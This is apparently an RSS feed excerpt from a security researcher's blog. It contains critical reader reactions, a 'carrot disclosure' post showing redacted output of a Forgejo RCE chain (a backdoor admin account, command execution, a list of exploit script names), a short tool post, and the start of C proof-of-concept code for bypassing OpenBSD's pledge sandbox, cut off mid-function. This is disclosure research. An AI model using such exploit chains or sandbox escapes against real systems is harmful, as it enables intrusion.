&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;nice flex&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;QUIT TROLLIN&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;insufferable&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;how much for the RCE?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;that's total fucking bs&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;OP is absolutely a dick&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;nice finds on forgejo!!!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;the fuck is wrong with you?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;wow, what an awful behavior&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;lmao jvoisin I'm loving this.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;why, just put in the pull request&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;It's one way to not make friends ^_^&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;they need some reflection rather than rage&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;Exciting, curious if codeberg is affected ✨️&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;i believe this is what they call -- "a dick move"&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;The biggest asshole "disclosure" I've seen in a while.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;They will call you an asshole, but can't do anything about it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;I honesty want a refund on the 10 minutes I wasted reading this.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;some noname lowlife decided to be a jerk about an RCE they found.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;maybe try properly disclosing the vulns instead. food for thought&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;i really cannot understand what possibly possessed you to do this&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;If you are in infosec, that's a great guide on how &lt;em&gt;not&lt;/em&gt; to do disclosure.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;The author's attitude is so off-putting. What gives? Did Forgejo hurt you?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;having been on both sides of the equation i kind of want to punch this guy&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;Doing things like this, especially against a volunteer-run project is a dick
move.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;At least tell them what you found and see if they fix it before choosing the
asshole action.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;Yes that reviewer is kind of a dick but the submitter just escalated to
nuclear dick.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;alright, took 6h to get a working RCE on forgejo, solid software, 10/10 would
recommend deploying&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;As soon as i see that security policy i tune out. It's like one of those in
game EULA no one reads&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;they should reread your followup blogpost, I feel like they misunderstood "a bunch of"
for "all my"&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;putting end users and admins at risk by publishing clues about zero days just
to show off is disgusting&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;https://codeberg.org/forgejo/website/issues/839#issuecomment-14208296
bullshit, my preauth RCE still works :')&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;Their motivation isn't making one tool better, but keeping users safe. We
need those people and the work they do badly!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;Appreciate that you looked into forgejo security. I can also see why you're
writing style did "activate" a lot of people tho :)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;My personal thought is that I appreciate, as a defender, knowing this
information about a project having a systematic lack of security.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;The policy is poorly worded. Most of those uppercase words should be
"please". You don't get to require anything of security researchers.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;That's an incredibly condescending way to talk about someone else's work, and
a horrible attempt to force volunteers to follow your priorities.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;I'm not really familiar with forgejo other than knowing vaguely about its
history. I'm a little surprised it's so bad given its adoption though&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;trying to coerce people to fix bugs you don't feel are worth reporting
properly by posting publicly is a dick move, whether the devs are paid or
volunteers, imo&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;I really like the idea of forgejo, but as someone following the development
channel, it really feels like FOSS hobbyist and not that much engineers
maintaining a huge forge.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;Outside of the diff not loading, because codeborg slow af, they want you to
write a freaking js test for that? Like I understand how technically test that,
but which value does it add?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;Sadly there is no shortcut to "the whole thing stinks and I want to get
people to stop using it". You might have thought you had one with the carrot
approach but it also does not work.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;this is an interesting disclosure strat, but I'm not sure i think its the
best one to apply to foss. might be better used to pressure all the ivantis of
the world to stop getting everyone owned.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;i will point my coworkers at your research, it's a dutch entity. They might
get the forgejo ppl going. Honestly the "did you write a test?" response on the
xss hardening issues was a bit monty python level&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;Yo this person attitude is insane. I didn't saw the comment about mail those
patches instead of opening PR They're fucking crazy. I opened one of your PR to
see if there was new comments, I think it crashed codeberg.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;Seems like grandstanding bad faith to me. They didn't even bother to follow
the established disclosure policy for this project because the author feels
this quality of the code is so crap, so instead does this...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;It would definitely be a bit silly for the author to make a fake carrot
disclosure, but I thought of it just because of how reading this article made
me feel distrust toward the author. IDK, they just seem like kind of a jerk!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;I think the person who did this did it only to have their moment of fame, and
it apparently worked. I would personally have omitted their name from the
description above to avoid further promoting such bad behaviors.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;Getting HTML building right is a pretty basic building block of web apps,
Forgejo can't have great security practices if they aren't doing that. So I can
easily imagine the OP is correct in their assessment of Forgejo code security.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;This is not okay. Trolling a FOSS project showing off a zero day instead of
sending PRs or a proper security report... and the only justification given is
that they didn't like a PR removing a feature, and haven't yet merged another
PR opened yesterday??&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;that's bad. We are trying to build stuff together, as a community. What
you're doing is basically kicking down the stuff other people have built. I'll
be discussing that behaviour when we are considering our next donation to
@nos_oignons.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;I have security experience and hearing that there is these issues makes me
want to contribute to forgejo, but I'm also discouraged from doing that,
because of how much of an asshole you're being here. I don't want to give you
what you want.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;&amp;lt; snark &amp;gt;but I mean the alternative would've been to spend time reporting and
maybe the developers wouldn't take you as seriously as you think you should be
taken and that might hurt your feelings or require emotional labor to convince
someone to look more broadly&amp;lt;/ snark &amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;they seem to have a hard time deciding if they are a serious project or just
a toy one that possibly couldn't be scrutinized because it's just a bunch of
volunteers. Schrodinger's seriousness, very profession or very helpless
depending on whatever's more convenient at the moment.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;This seems like a pretty dick move without even attempting to engage with
Forgejo first. A combination of assumptions based on no evidence and "I don't
feel like it" is not a good look. They aren't a large company with money to
burn, they depend on people being willing to pitch in or at least provide
details before going nuclear.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;You may ASK unpaid security research volunteers to participate in some
coordinated disclosure, but you can't demand they surrender their free time
beyond the report. The maintainers are NLnet funded, the security researcher is
operating on goodwill. The bugs are still sitting unaddressed in the open,
although there's a recent commit fixing token expiry.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;The Forgejo disclosure process looked pretty simple and straightforward to
me. The bold and all-caps words that bothered the author are just making sure
you know how to disclose vulnerabilities safely without leaking zero-day
exploits to a wider audience than necessary. I'm also not impressed with a
carrot disclosure that looks like this. Running a python script to compromise a
locally hosted instance? Bruh, you have physical hardware and host shell
access. That python script could be doing anything including running as root.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!-- --&gt;

&lt;blockquote&gt;
&lt;p&gt;what you've done here was below any reasonable standard of professional
conduct, and also very strange to me. I'm an accessibility nerd and have
recently begun digging into Forgejo's accessibility bugs. They do have a few,
which to me was like "oh cool, it will probably be fun to work with them on
these". Makes no sense to me as a specialist in solving a particular type of
problem to build a brand as someone this publicly hostile to those you deem as
having too much of that problem.&lt;/p&gt;
&lt;/blockquote&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Thu, 30 Apr 2026 17:15:00 +0200</pubDate><guid isPermaLink="false">tag:dustri.org,2026-04-30:/b/follow-up-to-carrot-disclosure-forgejo.html</guid><category>security</category></item><item><title>Carrot disclosure: Forgejo</title><link>https://dustri.org/b/carrot-disclosure-forgejo.html</link><description>&lt;p&gt;Since Fedora &lt;a href="https://communityblog.fedoraproject.org/the-forge-is-our-new-home/"&gt;moved from Pagure to
Forgejo&lt;/a&gt;, I
finally had an incentive to take a good look at
&lt;a href="https://forgejo.org/"&gt;Forgejo&lt;/a&gt;'s security posture. The results aren't pretty
to be honest: SSRF in a lot of places, no CSP/Trusted-Types, a bit of ghetto templating in
javascript, cryptographic malpractices, overlooks in the authentication
mechanisms (OAuth2, OTP, sessions/access handling, post-compromission recovery,
…), a bunch of low-hanging DoS, some information leaks, various
TOCTOU, … All in all, it took me one evening after work to find a good amount
of vulnerabilities (adding to the one I got from looking at
&lt;a href="https://about.gitea.com/"&gt;gitea&lt;/a&gt; at some point in the past), and chain some of
them to obtain a full-blown RCE, some secrets leaks, a bunch of persistent
account access, a handful of OAuth2 privesc, …&lt;/p&gt;
&lt;p&gt;Fortunately (or unfortunately depending who you're asking), the RCE relies on
open registration, and on a configuration option set to a non-default value
(which is the case on some instances I've looked at, so nothing exotic),
meaning that its selling value is pretty low/nonexistent. I could disclose the
bugs to Forgejo, they even have a &lt;a href="https://codeberg.org/forgejo/governance/src/branch/main/SECURITY-POLICY.md"&gt;Security
Policy&lt;/a&gt;,
with a lot of &lt;code&gt;MUST&lt;/code&gt;/&lt;code&gt;MUST NOT&lt;/code&gt; about what I must or mustn't do should I decide
to go this way. But given the sorry state of the codebase (not their fault
though, they inherited the gitea/gogs ones), I'm pretty sure I
could spend another evening and find another chain, and odds are that others
have a bunch as well. I could try to fix the issues one by one myself and send
pull-requests, but even &lt;a href="https://codeberg.org/forgejo/forgejo/pulls/12288"&gt;if&lt;/a&gt;
&lt;a href="https://codeberg.org/forgejo/forgejo/pulls/12285"&gt;I&lt;/a&gt;
&lt;a href="https://codeberg.org/forgejo/forgejo/pulls/12283"&gt;wanted&lt;/a&gt;, this is a
systemic issue, there is little point in playing endless wack-a-mole.&lt;/p&gt;
&lt;p&gt;I discussed the conundrum with a friend of mine, and was told to put my money
where my mouth is, and just go with &lt;a href="https://dustri.org/b/carrot-disclosure.html"&gt;carrot
disclosure&lt;/a&gt; that I usually advocate
for in this kind of situation:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Carrot Disclosure, dangling a metaphorical carrot in front of the vendor to
incentivise change. The main idea is to only publish the (redacted) output of
the exploit for a critical vulnerability, to showcase that the software is
exploitable. Now the vendor has two choices: either perform a holistic audit of
its software, fixing as many issues as possible in the hope of fixing the
showcased vulnerability; or losing users who might not be happy running a
known-vulnerable software.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So without further ado:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;python3&lt;span class="w"&gt; &lt;/span&gt;./chain_alpha.py&lt;span class="w"&gt; &lt;/span&gt;--target&lt;span class="w"&gt; &lt;/span&gt;http://127.0.0.1:3000&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;out.txt
&lt;span class="gp"&gt;$ &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;Backdoor&lt;span class="w"&gt; &lt;/span&gt;out.txt&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="go"&gt;[+]   Backdoor admin created: svc_ljeopgid / dukecepapsygiqks!A1&lt;/span&gt;
&lt;span class="gp"&gt;$ &lt;/span&gt;tail&lt;span class="w"&gt; &lt;/span&gt;-n17&lt;span class="w"&gt; &lt;/span&gt;out.txt&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="go"&gt;================================================================&lt;/span&gt;
&lt;span class="go"&gt;[+] COMMAND EXECUTION CONFIRMED!&lt;/span&gt;
&lt;span class="go"&gt;================================================================&lt;/span&gt;

&lt;span class="go"&gt;Server-side hook output (received via git push stderr):&lt;/span&gt;

&lt;span class="go"&gt;  remote: ==========================================&lt;/span&gt;
&lt;span class="go"&gt;  remote: FORGEJO RCE PoC - Command Execution Proof&lt;/span&gt;
&lt;span class="go"&gt;  remote: ==========================================&lt;/span&gt;
&lt;span class="go"&gt;  remote: hostname: chernabog&lt;/span&gt;
&lt;span class="go"&gt;  remote: uid:      uid=1000(jvoisin) gid=1000(jvoisin) groups=1000(jvoisin),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023&lt;/span&gt;
&lt;span class="go"&gt;  remote: date:     Tue Apr 28 19:16:59 UTC 2026&lt;/span&gt;
&lt;span class="go"&gt;  remote: proof:    chernabog&lt;/span&gt;
&lt;span class="go"&gt;  remote: ==========================================&lt;/span&gt;

&lt;span class="go"&gt;================================================================&lt;/span&gt;
&lt;span class="gp"&gt;$ &lt;/span&gt;sha256&lt;span class="w"&gt; &lt;/span&gt;./chain_alpha.py
&lt;span class="go"&gt;c10d28a5ff74646683953874b035ca6ba56742db2f95198b54e561523e1880d7  ./chain_alpha.py&lt;/span&gt;
&lt;span class="go"&gt;jvoisin@chernabog 11:35 ~/Documents/exploits/forgejo tree&lt;/span&gt;
&lt;span class="go"&gt;.&lt;/span&gt;
&lt;span class="go"&gt;├── chain_alpha.py&lt;/span&gt;
&lt;span class="go"&gt;├── chain_beta.py&lt;/span&gt;
&lt;span class="go"&gt;├── chain_gamma.py&lt;/span&gt;
&lt;span class="go"&gt;├── dos&lt;/span&gt;
&lt;span class="go"&gt;│   ├── cpuburn_authenticated.py&lt;/span&gt;
&lt;span class="go"&gt;│   ├── cpu_dos.py&lt;/span&gt;
&lt;span class="go"&gt;│   ├── dbburn.py&lt;/span&gt;
&lt;span class="go"&gt;│   ├── dfburn.py&lt;/span&gt;
&lt;span class="go"&gt;│   ├── exhaust.py&lt;/span&gt;
&lt;span class="go"&gt;│   ├── gburn.py&lt;/span&gt;
&lt;span class="go"&gt;│   ├── grpstarve.py&lt;/span&gt;
&lt;span class="go"&gt;│   ├── rstarve.py&lt;/span&gt;
&lt;span class="go"&gt;│   ├── starve.py&lt;/span&gt;
&lt;span class="go"&gt;│   └── storage.py&lt;/span&gt;
&lt;span class="go"&gt;├── f9_repo_settings.py&lt;/span&gt;
&lt;span class="go"&gt;├── get_version.py&lt;/span&gt;
&lt;span class="go"&gt;├── leak_secrets.py&lt;/span&gt;
&lt;span class="go"&gt;├── leak_token.py&lt;/span&gt;
&lt;span class="go"&gt;├── merge.py&lt;/span&gt;
&lt;span class="go"&gt;└── NOTES.md&lt;/span&gt;

&lt;span class="go"&gt;2 directories, 19 files&lt;/span&gt;
&lt;span class="gp"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;[edit] you might be interested in the &lt;a href="https://dustri.org/b/follow-up-to-carrot-disclosure-forgejo.html"&gt;follow-up blogpost&lt;/a&gt;.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Tue, 28 Apr 2026 22:40:00 +0200</pubDate><guid isPermaLink="false">tag:dustri.org,2026-04-28:/b/carrot-disclosure-forgejo.html</guid><category>security</category></item><item><title>swic: a simple web interface for calibre</title><link>https://dustri.org/b/swic-a-simple-web-interface-for-calibre.html</link><description>&lt;p&gt;I'm ~regularly doing lightweight security audits of the services I'm running
exposed on the internet. One of them is &lt;a href="https://github.com/janeczku/calibre-web"&gt;calibre-web&lt;/a&gt;.
After 2h and &lt;a href="https://github.com/janeczku/calibre-web/issues?q=is%3Apr%20author%3Ajvoisin%20created%3A%3E2025"&gt;17 security-related
pull-requests&lt;/a&gt;
later, I gave up and decided to write a replacement:
&lt;a href="https://github.com/jvoisin/swic"&gt;swic&lt;/a&gt;. It only has 3 user-facing
features: showing the ebooks as a list, a searchsbar, and allowing the user to
download the ebooks. I don't need anything else. UI-wise, it looks like this:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://dustri.org/b/images/swic.png"&gt;&lt;img alt="screenshot of the interface" src="https://dustri.org/b/images/swic.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It's written in go, meaning that it's both trivial to deploy and to audit. It
has a single direct dependency
(&lt;a href="https://modernc.org/sqlite"&gt;&lt;code&gt;modernc.org/sqlite&lt;/code&gt;&lt;/a&gt;) to read calibre's database.
It doesn't handle users, doesn't need to have write-access to anything, doesn't
process untrusted data besides user-provided urls, makes use of Go's
&lt;a href="https://go.dev/blog/osroot"&gt;&lt;code&gt;os.root&lt;/code&gt;&lt;/a&gt; to prevent path traversals. The
interface is fully responsive and doesn't use any javascript.&lt;/p&gt;
&lt;p&gt;The code isn't the prettiest, but the whole thing was written in an evening.
You should replace calibre-web with it before somebody drops an RCE :p&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Tue, 21 Apr 2026 02:00:00 +0200</pubDate><guid isPermaLink="false">tag:dustri.org,2026-04-21:/b/swic-a-simple-web-interface-for-calibre.html</guid><category>dev</category></item><item><title>A quick look at __pledge_open(2)</title><link>https://dustri.org/b/a-quick-look-at-__pledge_open2.html</link><description>&lt;p&gt;A recent article of the OpenBSD journal caught me attention: &lt;a href="https://undeadly.org/cgi?action=article;sid=20260320085305"&gt;Pledge changes in
7.9-beta&lt;/a&gt;
(&lt;a href="https://web.archive.org/web/20260320154656/https://undeadly.org/cgi?action=article;sid=20260320085305"&gt;archive.org mirror&lt;/a&gt; as it's currently offline).&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://marc.info/?l=openbsd-ports&amp;amp;m=177389567528083&amp;amp;w=2"&gt;quoted message&lt;/a&gt;
starts with:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Previously under certain promises it was possible to open certain files
or devices even if the program didn't pledge "rpath" or "wpath". This behavior
has gone away in 7.9-beta; libc uses the special &lt;code&gt;__pledge_open(2)&lt;/code&gt; syscall which
cannot be used outside of libc.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So a new syscall, bypassing &lt;code&gt;pledge/unveil&lt;/code&gt;, interesting. The "cannot be used
outside of libc" is likely referring to
&lt;a href="https://isopenbsdsecu.re/mitigations/pinsyscall/"&gt;pinsyscall&lt;/a&gt;, which is an
indirect call away. Let's check if this is indeed a sandbox escape. The
function
&lt;a href="https://github.com/openbsd/src/blob/4245707926efbf4b027899ae0328f0c436ca7e10/lib/libc/net/getservent.c#L47"&gt;&lt;code&gt;setservent_r&lt;/code&gt;&lt;/a&gt;
has a call to &lt;code&gt;__pledge_open&lt;/code&gt;, so let's jump directly on the &lt;code&gt;call&lt;/code&gt; to please
pinsyscall:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;signal.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;fcntl.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;sys/types.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;sys/ptrace.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;

&lt;span class="cp"&gt;#define F &amp;quot;/tmp/pwned.txt&amp;quot;&lt;/span&gt;

&lt;span class="k"&gt;typedef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;unrestricted_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;

&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;on_sigtrap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sig&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;siginfo_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;si&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Catch the int3 of setprotoent&amp;#39;s epilogue function&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;sig&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;si&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STDERR_FILENO&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;caught SIGTRAP&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Trying to read fd: %d&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
